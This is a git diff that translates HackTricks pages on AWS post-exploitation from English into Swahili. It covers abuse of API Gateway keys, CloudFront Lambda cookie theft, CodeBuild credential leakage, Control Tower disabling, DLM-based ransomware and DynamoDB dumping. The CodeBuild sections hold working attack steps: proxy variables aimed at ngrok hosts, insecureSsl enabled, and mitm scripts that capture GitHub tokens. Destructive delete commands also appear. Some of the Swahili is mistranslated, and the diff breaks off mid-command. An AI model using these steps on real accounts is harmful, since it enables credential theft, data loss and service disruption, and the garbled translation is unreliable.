`apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey` -An attacker with permissions `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, and `apigateway:CreateUsagePlanKey` can **create new API keys, associate them with usage plans, and then use these keys for unauthorized access to APIs**. - +Mshambuliaji mwenye ruhusa `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, na `apigateway:CreateUsagePlanKey` anaweza **kuunda funguo mpya za API, kuziunganisha na mipango ya matumizi, na kisha kutumia funguo hizi kwa ufikiaji usioidhinishwa kwa APIs**. ```bash # Create a new API key API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id') @@ -137,14 +124,9 @@ USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --outp # Associate the API key with the usage plan aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY ``` - -**Potential Impact**: Unauthorized access to API resources, bypassing security controls. +**Madhara Yanayoweza Kutokea**: Ufikiaji usioidhinishwa wa rasilimali za API, kupita kwenye udhibiti wa usalama. > [!NOTE] -> Need testing +> Inahitaji kupimwa {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md index 4a3c4ff21..549d88a29 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md @@ -4,7 +4,7 @@ ## CloudFront -For more information check: +Kwa maelezo zaidi angalia: {{#ref}} ../aws-services/aws-cloudfront-enum.md @@ -12,24 +12,20 @@ For more information check: ### Man-in-the-Middle -This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) proposes a couple of different scenarios where a **Lambda** could be added (or modified if it's already being used) into a **communication through CloudFront** with the purpose of **stealing** user information (like the session **cookie**) and **modifying** the **response** (injecting a malicious JS script). +Hii [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) inapendekeza hali kadhaa tofauti ambapo **Lambda** inaweza kuongezwa (au kubadilishwa ikiwa tayari inatumika) katika **mawasiliano kupitia CloudFront** kwa lengo la **kuiba** taarifa za mtumiaji (kama **cookie** ya kikao) na **kubadilisha** **jibu** (kuingiza script mbaya ya JS). -#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket +#### scenario 1: MitM ambapo CloudFront imewekwa kufikia HTML fulani ya bucket -- **Create** the malicious **function**. -- **Associate** it with the CloudFront distribution. -- Set the **event type to "Viewer Response"**. +- **Unda** **function** mbaya. +- **Unganisha** na usambazaji wa CloudFront. +- Weka **aina ya tukio kuwa "Viewer Response"**. -Accessing the response you could steal the users cookie and inject a malicious JS. +Kwa kufikia jibu unaweza kuiba cookie za watumiaji na kuingiza JS mbaya. -#### scenario 2: MitM where CloudFront is already using a lambda function +#### scenario 2: MitM ambapo CloudFront tayari inatumia kazi ya lambda -- **Modify the code** of the lambda function to steal sensitive information +- **Badilisha msimbo** wa kazi ya lambda ili kuiba taarifa nyeti -You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). +Unaweza kuangalia [**msimbo wa tf ili kuunda hali hizi hapa**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md index 54be4e299..a0535b447 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md @@ -4,85 +4,73 @@ ## CodeBuild -For more information, check: +Kwa maelezo zaidi, angalia: {{#ref}} ../../aws-services/aws-codebuild-enum.md {{#endref}} -### Check Secrets +### Angalia Siri -If credentials have been set in Codebuild to connect to Github, Gitlab or Bitbucket in the form of personal tokens, passwords or OAuth token access, these **credentials are going to be stored as secrets in the secret manager**.\ -Therefore, if you have access to read the secret manager you will be able to get these secrets and pivot to the connected platform. +Ikiwa akidi zimewekwa katika Codebuild kuungana na Github, Gitlab au Bitbucket kwa njia ya alama za kibinafsi, nywila au ufikiaji wa alama za OAuth, hizi **akidi zitawekwa kama siri katika meneja wa siri**.\ +Hivyo, ikiwa una ufikiaji wa kusoma meneja wa siri utaweza kupata hizi siri na kuhamasisha kwenye jukwaa lililounganishwa. {{#ref}} ../../aws-privilege-escalation/aws-secrets-manager-privesc.md {{#endref}} -### Abuse CodeBuild Repo Access +### Tumia Upatikanaji wa Repo ya CodeBuild -In order to configure **CodeBuild**, it will need **access to the code repo** that it's going to be using. Several platforms could be hosting this code: +Ili kuunda **CodeBuild**, itahitaji **ufikiaji wa repo ya msimbo** ambayo itakuwa ikitumia. Jukwaa kadhaa zinaweza kuwa zinahifadhi msimbo huu:
-The **CodeBuild project must have access** to the configured source provider, either via **IAM role** of with a github/bitbucket **token or OAuth access**. +Mradi wa **CodeBuild lazima uwe na ufikiaji** wa mtoa huduma wa chanzo ulioanzishwa, ama kupitia **IAM role** au kwa kutumia **token ya github/bitbucket au ufikiaji wa OAuth**. -An attacker with **elevated permissions in over a CodeBuild** could abuse this configured access to leak the code of the configured repo and others where the set creds have access.\ -In order to do this, an attacker would just need to **change the repository URL to each repo the config credentials have access** (note that the aws web will list all of them for you): +Mshambuliaji mwenye **idhini za juu katika CodeBuild** anaweza kutumia ufikiaji huu ulioanzishwa kuvuja msimbo wa repo iliyoanzishwa na zingine ambapo akidi zilizowekwa zina ufikiaji.\ +Ili kufanya hivyo, mshambuliaji atahitaji tu **kubadilisha URL ya hifadhi kwa kila repo ambayo akidi za usanidi zina ufikiaji** (kumbuka kwamba wavuti ya aws itataja zote kwako):
-And **change the Buildspec commands to exfiltrate each repo**. +Na **kubadilisha amri za Buildspec ili kuhamasisha kila repo**. > [!WARNING] -> However, this **task is repetitive and tedious** and if a github token was configured with **write permissions**, an attacker **won't be able to (ab)use those permissions** as he doesn't have access to the token.\ -> Or does he? Check the next section +> Hata hivyo, hii **kazi ni ya kurudiwa na inachosha** na ikiwa token ya github ilipangwa na **idhini za kuandika**, mshambuliaji **hataweza (ku) kutumia hizo idhini** kwani hana ufikiaji wa token hiyo.\ +> Au ana? Angalia sehemu inayofuata -### Leaking Access Tokens from AWS CodeBuild - -You can leak access given in CodeBuild to platforms like Github. Check if any access to external platforms was given with: +### Kuvaa Alama za Ufikiaji kutoka AWS CodeBuild +Unaweza kuvuja ufikiaji uliopewa katika CodeBuild kwa jukwaa kama Github. Angalia ikiwa ufikiaji wowote kwa jukwaa za nje ulitolewa kwa: ```bash aws codebuild list-source-credentials ``` - {{#ref}} aws-codebuild-token-leakage.md {{#endref}} ### `codebuild:DeleteProject` -An attacker could delete an entire CodeBuild project, causing loss of project configuration and impacting applications relying on the project. - +Mshambuliaji anaweza kufuta mradi mzima wa CodeBuild, na kusababisha kupoteza usanidi wa mradi na kuathiri programu zinazotegemea mradi huo. ```bash aws codebuild delete-project --name ``` - -**Potential Impact**: Loss of project configuration and service disruption for applications using the deleted project. +**Madhara Yanayoweza Kutokea**: Kupoteza usanidi wa mradi na usumbufu wa huduma kwa programu zinazotumia mradi uliofutwa. ### `codebuild:TagResource` , `codebuild:UntagResource` -An attacker could add, modify, or remove tags from CodeBuild resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags. - +Mshambuliaji anaweza kuongeza, kubadilisha, au kuondoa lebo kutoka kwa rasilimali za CodeBuild, akisababisha usumbufu katika ugawaji wa gharama wa shirika lako, ufuatiliaji wa rasilimali, na sera za udhibiti wa ufikiaji kulingana na lebo. ```bash aws codebuild tag-resource --resource-arn --tags aws codebuild untag-resource --resource-arn --tag-keys ``` - -**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies. +**Madhara Yanayoweza Kutokea**: Kuingiliwa kwa ugawaji wa gharama, ufuatiliaji wa rasilimali, na sera za udhibiti wa ufikiaji kulingana na lebo. ### `codebuild:DeleteSourceCredentials` -An attacker could delete source credentials for a Git repository, impacting the normal functioning of applications relying on the repository. - +Mshambuliaji anaweza kufuta akiba za chanzo kwa ajili ya ghala la Git, na kuathiri utendaji wa kawaida wa programu zinazotegemea ghala hilo. ```sql aws codebuild delete-source-credentials --arn ``` - -**Potential Impact**: Disruption of normal functioning for applications relying on the affected repository due to the removal of source credentials. +**Madhara Yanayoweza Kutokea**: Kuingiliwa kwa utendaji wa kawaida wa programu zinazotegemea hazina iliyoathirika kutokana na kuondolewa kwa hati za chanzo. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md index c514d7a7c..37e283bc5 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md @@ -4,71 +4,66 @@ ## Recover Github/Bitbucket Configured Tokens -First, check if there are any source credentials configured that you could leak: - +Kwanza, angalia kama kuna akauti za chanzo zilizowekwa ambazo unaweza kuvuja: ```bash aws codebuild list-source-credentials ``` - ### Via Docker Image -If you find that authentication to for example Github is set in the account, you can **exfiltrate** that **access** (**GH token or OAuth token**) by making Codebuild to **use an specific docker image** to run the build of the project. +Ikiwa unapata kuwa uthibitisho kwa mfano Github umewekwa katika akaunti, unaweza **kuondoa** hiyo **ufikiaji** (**GH token au OAuth token**) kwa kufanya Codebuild **itumie picha maalum ya docker** kuendesha ujenzi wa mradi. -For this purpose you could **create a new Codebuild project** or change the **environment** of an existing one to set the **Docker image**. +Kwa kusudi hili unaweza **kuunda mradi mpya wa Codebuild** au kubadilisha **mazingira** ya moja iliyopo ili kuweka **picha ya Docker**. -The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). This is a very basic Docker image that will set the **env variables `https_proxy`**, **`http_proxy`** and **`SSL_CERT_FILE`**. This will allow you to intercept most of the traffic of the host indicated in **`https_proxy`** and **`http_proxy`** and trusting the SSL CERT indicated in **`SSL_CERT_FILE`**. +Picha ya Docker unayoweza kutumia ni [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Hii ni picha ya Docker ya msingi sana ambayo itaweka **env variables `https_proxy`**, **`http_proxy`** na **`SSL_CERT_FILE`**. Hii itakuruhusu kukamata sehemu kubwa ya trafiki ya mwenyeji iliyoonyeshwa katika **`https_proxy`** na **`http_proxy`** na kuamini SSL CERT iliyoonyeshwa katika **`SSL_CERT_FILE`**. -1. **Create & Upload your own Docker MitM image** - - Follow the instructions of the repo to set your proxy IP address and set your SSL cert and **build the docker image**. - - **DO NOT SET `http_proxy`** to not intercept requests to the metadata endpoint. - - You could use **`ngrok`** like `ngrok tcp 4444` lo set the proxy to your host - - Once you have the Docker image built, **upload it to a public repo** (Dockerhub, ECR...) -2. **Set the environment** - - Create a **new Codebuild project** or **modify** the environment of an existing one. - - Set the project to use the **previously generated Docker image** +1. **Unda & Pakia picha yako ya Docker MitM** +- Fuata maelekezo ya repo kuweka anwani yako ya IP ya proxy na kuweka cheti chako cha SSL na **ujenge picha ya docker**. +- **USIWEKE `http_proxy`** ili usikamate maombi kwa kiungo cha metadata. +- Unaweza kutumia **`ngrok`** kama `ngrok tcp 4444` kuweka proxy kwa mwenyeji wako. +- Mara tu unapokuwa na picha ya Docker iliyojengwa, **paki kwenye repo ya umma** (Dockerhub, ECR...) +2. **Weka mazingira** +- Unda **mradi mpya wa Codebuild** au **badilisha** mazingira ya moja iliyopo. +- Weka mradi kutumia **picha ya Docker iliyozalishwa awali**
-3. **Set the MitM proxy in your host** - -- As indicated in the **Github repo** you could use something like: +3. **Weka proxy ya MitM katika mwenyeji wako** +- Kama ilivyoonyeshwa katika **repo ya Github** unaweza kutumia kitu kama: ```bash mitmproxy --listen-port 4444 --allow-hosts "github.com" ``` - > [!TIP] -> The **mitmproxy version used was 9.0.1**, it was reported that with version 10 this might not work. +> The **mitmproxy version used was 9.0.1**, iliripotiwa kwamba na toleo la 10 hii inaweza isifanye kazi. -4. **Run the build & capture the credentials** +4. **Kimbia ujenzi & kamata akreditivu** -- You can see the token in the **Authorization** header: +- Unaweza kuona token katika kichwa cha **Authorization**: -
- -This could also be done from the aws cli with something like +
+Hii pia inaweza kufanywa kutoka kwa aws cli na kitu kama ```bash # Create project using a Github connection aws codebuild create-project --cli-input-json file:///tmp/buildspec.json ## With /tmp/buildspec.json { - "name": "my-demo-project", - "source": { - "type": "GITHUB", - "location": "https://github.com/uname/repo", - "buildspec": "buildspec.yml" - }, - "artifacts": { - "type": "NO_ARTIFACTS" - }, - "environment": { - "type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM - "image": "docker.io/carlospolop/docker-mitm:v12", - "computeType": "BUILD_GENERAL1_SMALL", - "imagePullCredentialsType": "CODEBUILD" - } +"name": "my-demo-project", +"source": { +"type": "GITHUB", +"location": "https://github.com/uname/repo", +"buildspec": "buildspec.yml" +}, +"artifacts": { +"type": "NO_ARTIFACTS" +}, +"environment": { +"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM +"image": "docker.io/carlospolop/docker-mitm:v12", +"computeType": "BUILD_GENERAL1_SMALL", +"imagePullCredentialsType": "CODEBUILD" +} } ## Json @@ -76,117 +71,102 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json # Start the build aws codebuild start-build --project-name my-project2 ``` - ### Via insecureSSL -**Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\ -Enabling this, allows to Codebuild to connect to the repository **without checking the certificate** offered by the platform. - -- First you need to enumerate the current configuration with something like: +**Codebuild** miradi ina mipangilio inayoitwa **`insecureSsl`** ambayo imefichwa kwenye wavuti unaweza kubadilisha tu kutoka kwa API.\ +Kuwezesha hili, inaruhusu Codebuild kuungana na hifadhi **bila kuangalia cheti** kinachotolewa na jukwaa. +- Kwanza unahitaji kuorodhesha usanidi wa sasa kwa kutumia kitu kama: ```bash aws codebuild batch-get-projects --name ``` - -- Then, with the gathered info you can update the project setting **`insecureSsl`** to **`True`**. The following is an example of my updating a project, notice the **`insecureSsl=True`** at the end (this is the only thing you need to change from the gathered configuration). - - Moreover, add also the env variables **http_proxy** and **https_proxy** pointing to your tcp ngrok like: - +- Kisha, kwa taarifa ulizokusanya unaweza kuboresha mipangilio ya mradi **`insecureSsl`** kuwa **`True`**. Ifuatayo ni mfano wa jinsi nilivyoboresha mradi, angalia **`insecureSsl=True`** mwishoni (hii ndiyo kitu pekee unachohitaji kubadilisha kutoka kwenye usanidi ulio kusanya). +- Zaidi ya hayo, ongeza pia mabadiliko ya mazingira **http_proxy** na **https_proxy** yanayoelekeza kwenye tcp ngrok yako kama: ```bash aws codebuild update-project --name \ - --source '{ - "type": "GITHUB", - "location": "https://github.com/carlospolop/404checker", - "gitCloneDepth": 1, - "gitSubmodulesConfig": { - "fetchSubmodules": false - }, - "buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n", - "auth": { - "type": "CODECONNECTIONS", - "resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be" - }, - "reportBuildStatus": false, - "insecureSsl": true - }' \ - --environment '{ - "type": "LINUX_CONTAINER", - "image": "aws/codebuild/standard:5.0", - "computeType": "BUILD_GENERAL1_SMALL", - "environmentVariables": [ - { - "name": "http_proxy", - "value": "http://2.tcp.eu.ngrok.io:15027" - }, - { - "name": "https_proxy", - "value": "http://2.tcp.eu.ngrok.io:15027" - } - ] - }' +--source '{ +"type": "GITHUB", +"location": "https://github.com/carlospolop/404checker", +"gitCloneDepth": 1, +"gitSubmodulesConfig": { +"fetchSubmodules": false +}, +"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n", +"auth": { +"type": "CODECONNECTIONS", +"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be" +}, +"reportBuildStatus": false, +"insecureSsl": true +}' \ +--environment '{ +"type": "LINUX_CONTAINER", +"image": "aws/codebuild/standard:5.0", +"computeType": "BUILD_GENERAL1_SMALL", +"environmentVariables": [ +{ +"name": "http_proxy", +"value": "http://2.tcp.eu.ngrok.io:15027" +}, +{ +"name": "https_proxy", +"value": "http://2.tcp.eu.ngrok.io:15027" +} +] +}' ``` - -- Then, run the basic example from [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in the port pointed by the proxy variables (http_proxy and https_proxy) - +- Kisha,endesha mfano wa msingi kutoka [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) katika bandari iliyoonyeshwa na mabadiliko ya proxy (http_proxy na https_proxy) ```python from mitm import MITM, protocol, middleware, crypto mitm = MITM( - host="127.0.0.1", - port=4444, - protocols=[protocol.HTTP], - middlewares=[middleware.Log], # middleware.HTTPLog used for the example below. - certificate_authority = crypto.CertificateAuthority() +host="127.0.0.1", +port=4444, +protocols=[protocol.HTTP], +middlewares=[middleware.Log], # middleware.HTTPLog used for the example below. +certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` - -- Finally, click on **Build the project**, the **credentials** will be **sent in clear text** (base64) to the mitm port: +- Hatimaye, bonyeza **Jenga mradi**, **vithibitisho** vitatumwa kwa **maandishi wazi** (base64) kwenye bandari ya mitm:
-### ~~Via HTTP protocol~~ +### ~~Kupitia itifaki ya HTTP~~ -> [!TIP] > **This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can't abuse it anymore :)** +> [!TIP] > **Ukatili huu ulirekebishwa na AWS wakati fulani katika wiki ya 20 ya Februari ya 2023 (nadhani Ijumaa). Hivyo, mshambuliaji hawezi kuutumia tena :)** -An attacker with **elevated permissions in over a CodeBuild could leak the Github/Bitbucket token** configured or if permissions was configured via OAuth, the **temporary OAuth token used to access the code**. +Mshambuliaji mwenye **idhini za juu katika CodeBuild anaweza kuvuja token ya Github/Bitbucket** iliyowekwa au ikiwa idhini ilipangwa kupitia OAuth, **token ya muda ya OAuth inayotumika kufikia msimbo**. -- An attacker could add the environment variables **http_proxy** and **https_proxy** to the CodeBuild project pointing to his machine (for example `http://5.tcp.eu.ngrok.io:14972`). +- Mshambuliaji anaweza kuongeza mabadiliko ya mazingira **http_proxy** na **https_proxy** kwenye mradi wa CodeBuild ukielekeza kwenye mashine yake (kwa mfano `http://5.tcp.eu.ngrok.io:14972`).
-- Then, change the URL of the github repo to use HTTP instead of HTTPS, for example: `http://github.com/carlospolop-forks/TestActions` -- Then, run the basic example from [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in the port pointed by the proxy variables (http_proxy and https_proxy) - +- Kisha, badilisha URL ya repo ya github kutumia HTTP badala ya HTTPS, kwa mfano: `http://github.com/carlospolop-forks/TestActions` +- Kisha, endesha mfano wa msingi kutoka [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) kwenye bandari iliyotajwa na mabadiliko ya proxy (http_proxy na https_proxy) ```python from mitm import MITM, protocol, middleware, crypto mitm = MITM( - host="0.0.0.0", - port=4444, - protocols=[protocol.HTTP], - middlewares=[middleware.Log], # middleware.HTTPLog used for the example below. - certificate_authority = crypto.CertificateAuthority() +host="0.0.0.0", +port=4444, +protocols=[protocol.HTTP], +middlewares=[middleware.Log], # middleware.HTTPLog used for the example below. +certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` - -- Next, click on **Build the project** or start the build from command line: - +- Kisha, bonyeza **Build the project** au anza ujenzi kutoka kwa mstari wa amri: ```sh aws codebuild start-build --project-name ``` - -- Finally, the **credentials** will be **sent in clear text** (base64) to the mitm port: +- Hatimaye, **credentials** zitatumwa kwa **clear text** (base64) kwenye bandari ya mitm:
> [!WARNING] -> Now an attacker will be able to use the token from his machine, list all the privileges it has and (ab)use easier than using the CodeBuild service directly. +> Sasa mshambuliaji ataweza kutumia token kutoka kwa mashine yake, kuorodhesha haki zote alizo nazo na (ku)zitumia kwa urahisi zaidi kuliko kutumia huduma ya CodeBuild moja kwa moja. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md index f1c6fb394..dd9041283 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md @@ -8,17 +8,11 @@ ../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md {{#endref}} -### Enable / Disable Controls - -To further exploit an account, you might need to disable/enable Control Tower controls: +### Wezesha / Zima Mifumo +Ili kuendelea kutumia akaunti, unaweza kuhitaji kuzima/kuwezesha mifumo ya Control Tower: ```bash aws controltower disable-control --control-identifier --target-identifier aws controltower enable-control --control-identifier --target-identifier ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md index baa309e53..e9b4dfbe4 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md @@ -6,94 +6,86 @@ ### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy` -A ransomware attack can be executed by encrypting as many EBS volumes as possible and then erasing the current EC2 instances, EBS volumes, and snapshots. To automate this malicious activity, one can employ Amazon DLM, encrypting the snapshots with a KMS key from another AWS account and transferring the encrypted snapshots to a different account. Alternatively, they might transfer snapshots without encryption to an account they manage and then encrypt them there. Although it's not straightforward to encrypt existing EBS volumes or snapshots directly, it's possible to do so by creating a new volume or snapshot. +Shambulio la ransomware linaweza kutekelezwa kwa kuficha kiasi cha EBS volumes kadri iwezekanavyo na kisha kufuta EC2 instances, EBS volumes, na snapshots za sasa. Ili kuendesha shughuli hii mbaya, mtu anaweza kutumia Amazon DLM, akificha snapshots kwa kutumia funguo za KMS kutoka akaunti nyingine ya AWS na kuhamasisha snapshots zilizofichwa kwa akaunti tofauti. Vinginevyo, wanaweza kuhamasisha snapshots bila kuficha kwa akaunti wanayosimamia na kisha kuzificha huko. Ingawa si rahisi kuficha EBS volumes au snapshots zilizopo moja kwa moja, inawezekana kufanya hivyo kwa kuunda volume au snapshot mpya. -Firstly, one will use a command to gather information on volumes, such as instance ID, volume ID, encryption status, attachment status, and volume type. +Kwanza, mtu atatumia amri kukusanya taarifa kuhusu volumes, kama vile ID ya instance, ID ya volume, hali ya ufichaji, hali ya kiambatisho, na aina ya volume. `aws ec2 describe-volumes` -Secondly, one will create the lifecycle policy. This command employs the DLM API to set up a lifecycle policy that automatically takes daily snapshots of specified volumes at a designated time. It also applies specific tags to the snapshots and copies tags from the volumes to the snapshots. The policyDetails.json file includes the lifecycle policy's specifics, such as target tags, schedule, the ARN of the optional KMS key for encryption, and the target account for snapshot sharing, which will be recorded in the victim's CloudTrail logs. - +Pili, mtu ataunda sera ya mzunguko wa maisha. Amri hii inatumia DLM API kuanzisha sera ya mzunguko wa maisha ambayo inachukua snapshots za kila siku za volumes zilizotajwa kwa wakati ulioainishwa. Pia inatumia lebo maalum kwa snapshots na nakala za lebo kutoka kwa volumes hadi snapshots. Faili ya policyDetails.json inajumuisha maelezo ya sera ya mzunguko wa maisha, kama vile lebo za lengo, ratiba, ARN ya funguo ya KMS ya hiari kwa ufichaji, na akaunti ya lengo kwa ajili ya kushiriki snapshots, ambayo itarekodiwa katika kumbukumbu za CloudTrail za mwathirika. ```bash aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json ``` - -A template for the policy document can be seen here: - +Template ya hati ya sera inaweza kuonekana hapa: ```bash { - "PolicyType": "EBS_SNAPSHOT_MANAGEMENT", - "ResourceTypes": [ - "VOLUME" - ], - "TargetTags": [ - { - "Key": "ExampleKey", - "Value": "ExampleValue" - } - ], - "Schedules": [ - { - "Name": "DailySnapshots", - "CopyTags": true, - "TagsToAdd": [ - { - "Key": "SnapshotCreator", - "Value": "DLM" - } - ], - "VariableTags": [ - { - "Key": "CostCenter", - "Value": "Finance" - } - ], - "CreateRule": { - "Interval": 24, - "IntervalUnit": "HOURS", - "Times": [ - "03:00" - ] - }, - "RetainRule": { - "Count": 14 - }, - "FastRestoreRule": { - "Count": 2, - "Interval": 12, - "IntervalUnit": "HOURS" - }, - "CrossRegionCopyRules": [ - { - "TargetRegion": "us-west-2", - "Encrypted": true, - "CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id", - "CopyTags": true, - "RetainRule": { - "Interval": 1, - "IntervalUnit": "DAYS" - } - } - ], - "ShareRules": [ - { - "TargetAccounts": [ - "123456789012" - ], - "UnshareInterval": 30, - "UnshareIntervalUnit": "DAYS" - } - ] - } - ], - "Parameters": { - "ExcludeBootVolume": false - } +"PolicyType": "EBS_SNAPSHOT_MANAGEMENT", +"ResourceTypes": [ +"VOLUME" +], +"TargetTags": [ +{ +"Key": "ExampleKey", +"Value": "ExampleValue" +} +], +"Schedules": [ +{ +"Name": "DailySnapshots", +"CopyTags": true, +"TagsToAdd": [ +{ +"Key": "SnapshotCreator", +"Value": "DLM" +} +], +"VariableTags": [ +{ +"Key": "CostCenter", +"Value": "Finance" +} +], +"CreateRule": { +"Interval": 24, +"IntervalUnit": "HOURS", +"Times": [ +"03:00" +] +}, +"RetainRule": { +"Count": 14 +}, +"FastRestoreRule": { +"Count": 2, +"Interval": 12, +"IntervalUnit": "HOURS" +}, +"CrossRegionCopyRules": [ +{ +"TargetRegion": "us-west-2", +"Encrypted": true, +"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id", +"CopyTags": true, +"RetainRule": { +"Interval": 1, +"IntervalUnit": "DAYS" +} +} +], +"ShareRules": [ +{ +"TargetAccounts": [ +"123456789012" +], +"UnshareInterval": 30, +"UnshareIntervalUnit": "DAYS" +} +] +} +], +"Parameters": { +"ExcludeBootVolume": false +} } ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md index d63689d9e..6e66066a8 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md @@ -4,7 +4,7 @@ ## DynamoDB -For more information check: +Kwa maelezo zaidi angalia: {{#ref}} ../aws-services/aws-dynamodb-enum.md @@ -12,342 +12,292 @@ For more information check: ### `dynamodb:BatchGetItem` -An attacker with this permissions will be able to **get items from tables by the primary key** (you cannot just ask for all the data of the table). This means that you need to know the primary keys (you can get this by getting the table metadata (`describe-table`). +Mshambuliaji mwenye ruhusa hii ataweza **kupata vitu kutoka kwa meza kwa ufunguo wa msingi** (huwezi tu kuomba data zote za meza). Hii inamaanisha kuwa unahitaji kujua funguo za msingi (unaweza kupata hii kwa kupata metadata ya meza (`describe-table`). {{#tabs }} {{#tab name="json file" }} - ```bash aws dynamodb batch-get-item --request-items file:///tmp/a.json // With a.json { - "ProductCatalog" : { // This is the table name - "Keys": [ - { - "Id" : { // Primary keys name - "N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those - } - } - ] - } +"ProductCatalog" : { // This is the table name +"Keys": [ +{ +"Id" : { // Primary keys name +"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those +} +} +] +} } ``` - {{#endtab }} {{#tab name="inline" }} - ```bash aws dynamodb batch-get-item \ - --request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \ - --region +--request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \ +--region ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**Madhara Yanayoweza Kutokea:** Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika jedwali ### `dynamodb:GetItem` -**Similar to the previous permissions** this one allows a potential attacker to read values from just 1 table given the primary key of the entry to retrieve: - +**Kama ruhusa za awali** hii inamruhusu mshambuliaji mwenye uwezo kusoma thamani kutoka jedwali 1 tu kwa kutolewa kwa ufunguo wa msingi wa kipengee cha kupata: ```json aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json // With a.json { "Id" : { - "N": "205" +"N": "205" } } ``` - -With this permission it's also possible to use the **`transact-get-items`** method like: - +Na ruhusa hii, pia inawezekana kutumia njia ya **`transact-get-items`** kama: ```json aws dynamodb transact-get-items \ 